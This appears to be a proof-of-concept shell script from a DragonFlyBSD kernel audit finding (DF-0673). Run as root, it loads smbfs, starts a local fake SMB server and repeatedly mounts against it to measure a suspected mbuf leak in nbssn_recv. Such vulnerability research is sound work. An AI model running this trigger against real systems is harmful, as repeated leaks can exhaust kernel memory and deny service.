DragonFlyBSD Kernel Audit
DF-0673 / run_poc.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0673 trigger: run fake server, drive mount_smbfs, measure mbuf delta.
# Run as root in guest.
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
set -u

BASE=/root/poc/DF-0673
cd "$BASE" || exit 2

# ensure smbfs loaded
kldload smbfs.ko 2>/dev/null || true
kldstat | grep -q smbfs.ko || { echo "[!] smbfs.ko failed to load"; exit 2; }

netstat -m > /tmp/df673_before.txt
echo "[*] baseline mbstat:"; head -3 /tmp/df673_before.txt

# start fake server
pkill -f fake_smb_server 2>/dev/null || true
sleep 0.2
./fake_smb_server > /tmp/df673_srv.log 2>&1 &
SRV=$!
sleep 0.5
echo "[*] fake_smb_server pid=$SRV"

# N mount attempts -- each calls nbssn_recv, may leak
for i in $(seq 1 6); do
    echo "[*] mount attempt $i"
    mount_smbfs -N -I 127.0.0.1 //g@localhost/x /mnt 2>/dev/null
    umount /mnt 2>/dev/null || true
    sleep 0.3
done

sleep 0.5
kill $SRV 2>/dev/null || true
wait $SRV 2>/dev/null || true

netstat -m > /tmp/df673_after.txt
echo "--- BEFORE ---"; cat /tmp/df673_before.txt | head -3
echo "--- AFTER ---";  cat /tmp/df673_after.txt  | head -3
echo "--- SERVER LOG ---"; cat /tmp/df673_srv.log
echo done